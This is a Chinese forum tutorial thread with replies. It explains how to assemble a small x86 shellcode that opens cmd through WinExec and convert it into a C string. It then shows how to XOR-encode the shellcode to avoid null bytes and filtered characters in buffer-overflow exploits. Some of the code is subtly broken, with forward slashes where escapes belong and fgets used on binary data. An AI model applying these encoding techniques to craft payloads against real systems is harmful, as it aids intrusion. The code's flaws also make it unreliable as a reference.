VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 8234|回复: 9

[交流] ShellCode代码生成器

[复制链接]
51_avatar_middle
online_admins 发表于 2016-9-29 13:16:05 | 显示全部楼层 |阅读模式
以前N多网上文章已经介绍了ShellCode的编写,所以关于ShellCode的编写不是本文的目的。一般情况下,我们都是用汇编写好实现ShellCode功能的汇编代码,然后再提取16进制,那怎么提取呢?有人说用VC反汇编后,可以得到对应的16进制代码,然后手抄! Oh……晕死!有人说用内存拷贝!Oh……也比较笨,而且还要自己做一些麻烦的处理。呵呵,说了这么多废话,就是引出本文的写作目的:给大家介绍如何通过编程来实现提取ShellCode的16进制代码,并且能提供对ShellCode进行XOR加密而避开特殊字符的限制。

这里首先要感谢delicon(国外的一个牛人),因为我这里的编程实现有部分借鉴他提供的源代码。其实在安全焦点,navyseals已经提供了ShellCode提取的小工具。如果大家只是要用工具,那么可以直接去下载来用就是,或者用我在附件里提供的工具也可。不过有人说过,不会自己写工具的人不是一个真正的黑客。呵呵,你想成为真正的黑客吗? Ok……Do it yourself!

如果是实现小型功能的ShellCode,我们大可以用VC的内联汇编功能,但如果是要实现功能复杂一点的ShellCode,VC的内联汇编就远远不能满足我们的要求了,而且内联汇编不易移植,这时候我们就要换一个更为强大的汇编编译器NASM(附件里有收录),我们可以先写用汇编写好代码。比如我们写一段开DOS窗口的汇编代码,如下:

  1. push ebp
  2. mov ebp,esp
  3. push ebx
  4. mov byte ptr [ebp-4],63h // ‘c’
  5. mov byte ptr [ebp-3],6Dh // ‘m’
  6. mov byte ptr [ebp-2],64h // ‘d’
  7. mov byte ptr [ebp-1],0 // ‘/0’

  8. push 5 //这里,#define SW_SHOW 5
  9. lea eax,[ebp-4]
  10. push eax
  11. mov eax, 0x77e4fd35
  12. call eax
  13. pop esp
复制代码


小提示:上面0x77e4fd35是WinExec函数在作者计算机(Windows XP SP1)上的函数入口地址,不同的系统该地址可能不同。


这段汇编代码实现的功能对应的C语言如下:

  1. #include <windows.h>
  2. void main()
  3. {
  4.         char cmdline[4] = “cmd”;
  5.         WinExec(cmdline,SW_SHOW);
  6. }
复制代码

如果我们用在VC的内联汇编中,就应该是下面这样的格式:
  1. #include <windows.h>
  2. void main()
  3. {
  4.         __asm{
  5.                 push ebp
  6.                         mov ebp,esp
  7.                         push ebx
  8.                         mov byte ptr[ebp - 4],63h
  9.                         mov byte ptr[ebp - 3],6Dh
  10.                         mov byte ptr[ebp - 2],64h
  11.                         mov byte ptr[ebp - 1],0

  12.                         push 5
  13.                         lea eax,[ebp - 4]
  14.                         push eax
  15.                         mov eax, 0x77e4fd35
  16.                         call eax
  17.                         pop esp
  18.         }
  19. }
复制代码


看,也就是把内联汇编块用__asm{}包起来。好,我们编译运行,可爱的DOS窗口就弹出来了。

那么我们怎么运用NASM来编译汇编代码呢?
很简单,把实现功能的汇编代码段(比如上面这段开DOS窗口的代码)在代码的第一行,加上BITS 32,如下图2所示。
然后把汇编代码段里的类型转换指令PTR全部去掉(因为NASM的BYTE已经做了优化,它本身已经相当于MASM的PTR BYTE了),保存在一个后缀名为.asm的文件里,比如上面的,我保存为cmd.asm,然后在命令行下输入下列命令;
nasm –s –fbin cmd.asm

参数解析:
-s 重定向错误消息到标准输出,便于查看错误
-f 后接有效的输出格式,比如可以接-fbin,-fwin32 –fobj等。

如果不跟格式,就表示默认为-fbin,生成平坦格式的二进制文件(具体详细的命令参数可以查看NASM帮助。)
如果没有错误,就会生成一个名为CMD文件,如果用UltraEdit查看。呵呵,你会发现里面就是我们想要的ShellCode十六进制码。有些读者开始用鼠标“框”,然后拷贝。

呵呵,大哥悠着点,我们还没完,你不觉得这样跟在VC里用内存拷贝没什么区别吗?而且你还要手动的在每个字节前添加/x或0x。既然16进制码都有了,我们还写不出一个提取ShellCode的小程序吗? 呵呵,废话少说,直接给出提取ShellCode的C代码:

  1. void ShellCodeGenerater(char *file)
  2. {
  3.         int iFileSize;
  4.         FILE *fp = NULL;

  5.         fp = fopen(file,"rb"); //以二进制只读模式打开文件
  6.         if (fp == NULL) // 判断文件是否成功打开
  7.         {
  8.                 printf("Error: Unable to open %s!/n",file);
  9.                 exit(1);
  10.         }
  11.         //计算文件大小
  12.         fseek(fp,0,SEEK_END); //移到文件末尾
  13.         iFileSize = ftell(fp); //获得文件指针的当前位置,iFileSize就是文件的大小了
  14.         fseek(fp,0,SEEK_SET); //回到文件头位置

  15.         BYTE bb;
  16.         char *buff = (char *)malloc(iFileSize); //预留足够的空间
  17.         if (fgets(buff,iFileSize,fp) == NULL) //把读入文件内容读入buff缓冲区
  18.         {
  19.                 printf("Error: Unable to read from file./n");
  20.                 exit(1);
  21.         }

  22.         FILE* myfile;
  23.         myfile = fopen("ShellCode.txt","w"); //创建或打开ShellCode.txt来保存ShellCode
  24.         fprintf(myfile,"char shellcode[] = /n");
  25.         fprintf(myfile,"/"");
  26.                 for (int i = 0; i < iFileSize; i++)
  27.                 {
  28.                         bb = buff[i];
  29.                         fprintf(myfile,"//x%2.2X",bb);
  30.                         if (i % 16 == 0) // 每行16个字节
  31.                         {
  32.                                 fprintf(myfile,"/"");
  33.                                         fprintf(myfile,"/n/"");
  34.                         }
  35.                 }
  36.         //关闭文件流
  37.         fclose(myfile);
  38.         fclose(fp);
  39.         return;
  40. }
复制代码


整个程序思路很简单,就是基本的文件读取操作而已,提供一个文件名,按二进制格式读取,然后在每个字节前加上/x,输出到一个文件名为“ShellCode.txt”的文件中,简单吧!比如我们编译上面的程序后生成名为ShellCode_Gen.exe,那么对于前面生成的cmd文件,我们就可以在命令行下:ShellCode_Gen.exe CMD,如果没有错误发生,就得到了ShellCode.txt文件,打开看看。

这样就可以轻松地拷贝了,而且免去了手动添加/x的痛苦。

大家都知道,一般用于缓冲区溢出的ShellCode都对编码有要求,最典型的就是不允许0x00空字符的存在了,因为在传输过程中它会截断我们的ShellCode而导致溢出失败。更特殊的,对于不同的漏洞程序,还有特殊字符的限制,更加迫使我们对ShellCode进行编码。下面,我们通过修改上面的程序来解决这些问题吧。

最普通的情况是,我们可以选择一个合适的XOR值(比如常见的0x97或0x99),对整个ShellCode里所有字节进行XOR,然后在解码的时候再XOR回来。
对于上面的void ShellCodeGenerater(char *file),我们做一点小改动,给它多加一个参数:
void ShellCodeGenerater(char *file,char *xorchar)
其中第2个参数是我们在命令行下赋给程序的第2个参数,它就是我们用来XOR的单个字节,比如0x97。
我们的思路和上面是一样的,就是在写入ShellCode.txt前,对每个字节XOR一次,所以需要开辟一块大小和buff一样的空间来存放XOR后的值,然后逐个按位异或,并记录包含“/x00”字节的个数:

  1. for(int i = 0; i < iFileSize; i++)
  2. {
  3.         //bEncodeChar是利用strtoul(xorchar,NULL,0)转换而来
  4.         buff2[i] = buff[i] ^ bEncodeChar;
  5.         if (buff2[i] == '/x00')
  6.                 CountOfNull++; // CountOfNull用来计数‘/x00’的个数
  7. }
复制代码


到这还没完,我们只是避开了“/x00”空字节,那其它的特殊字符呢?比如RPC溢出利用中对“/”做了限制?来解决这个问题,精益求精嘛。上面的程序只需要改动一点点,先添加一个函数,它检验并计算存在多少个我们所指定不包括“/x00”在内的非法受限字符,该函数定义如下:

  1. int GetNumOfIllegalChar(char *buffer, char* IllegalChar)
  2. {
  3.         char *p;
  4.         int count = 0;
  5.         for (; *IllegalChar; IllegalChar++)
  6.         {
  7.                 p = strchr(buffer,*IllegalChar); //查找非法字符
  8.                 if (p) count++;
  9.         }
  10.         return count;
  11. }
复制代码


其中,buffer指向的是buff2所指的缓冲区,IllegalChar所指的字符串为程序命令行的第3个参数,GetNumOfIllegalChar()返回的是不包括“/x00”在内的非法字符数。我们把这个函数放在ShellCodeGenerater()里调用,所以得再给ShellCodeGenerater()添加第3个参数,让他接受程序得第3个命令行参数:
void ShellCodeGenerater(char *file,char *xorchar,char *specialchar)
详细的源代码参照附件encodeshellcode.cpp。
对选取的XOR值只要能避开“/x00”和非法字符即可,比如0x96不行,换0x97,如果还不行,换0x99,直到行为止,只要受限字符不是太多,总会得到适合的XOR值的。最后得到我们的加密ShellCode程序,假如用上面CMD文件做试验,“0x97”做XOR值,受限字符为“/:()|”,那么在命令行下就可以这样使用:
encodeshellcode.exe CMD 0x99 /:()|

看到反白部分,指出有一个不合法字符。那换0x97试试:
Encodeshellcode.exe CMD 0x97 /:()|
得到结果如图6所示:
再打开生成的ShellCode.txt。

哈哈,这就是我们可用的编码过的ShellCode了!

本文介绍的编程实现虽然很简单,而且在编码这里也有存在一定的局限性,但大家可以发挥你们的聪明才智,将其改进完善,相信一定会非常实用的。真诚希望本文能给在正学习缓冲区溢出和ShellCode技术的你一点帮助。




上一篇:请教关于 Hook NtOpenProcess 后无法播放声音的问题
下一篇:C++操作SQL Server数据库代码
54_avatar_middle
在线会员 发表于 2017-9-19 11:50:43 | 显示全部楼层
正好需要,感谢楼主

点评

路过,看看  发表于 2018-5-30 18:38
02_avatar_middle
在线会员 发表于 2016-9-29 15:48:24 | 显示全部楼层
大哥有内联汇编课吗?网上的都不全
51_avatar_middle
ico_lz  楼主| 发表于 2016-9-29 15:49:16 | 显示全部楼层
Dvol 发表于 2016-9-29 15:48
大哥有内联汇编课吗?网上的都不全

这个暂时手头米有啊~
51_avatar_middle
在线会员 发表于 2016-9-30 08:57:42 | 显示全部楼层
小白弱弱的问下,生成器何在?!
96_avatar_middle
在线会员 发表于 2017-8-15 09:08:39 | 显示全部楼层
学习了,谢谢版主啊
22_avatar_middle
在线会员 发表于 2017-8-15 09:30:32 | 显示全部楼层
学习学习学习学习
08_avatar_middle
在线会员 发表于 2017-8-27 12:43:42 | 显示全部楼层
看看支持下楼主
74_avatar_middle
在线会员 发表于 2018-6-28 20:02:46 | 显示全部楼层
收藏。。。·ShellCode代码生成器
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号tongdun|网站地图wx_jqr

GMT+8, 2019-3-19 13:06

Powered by Discuz! X3.4

© 2009-2019 cctry.com

快速回复 返回顶部 返回列表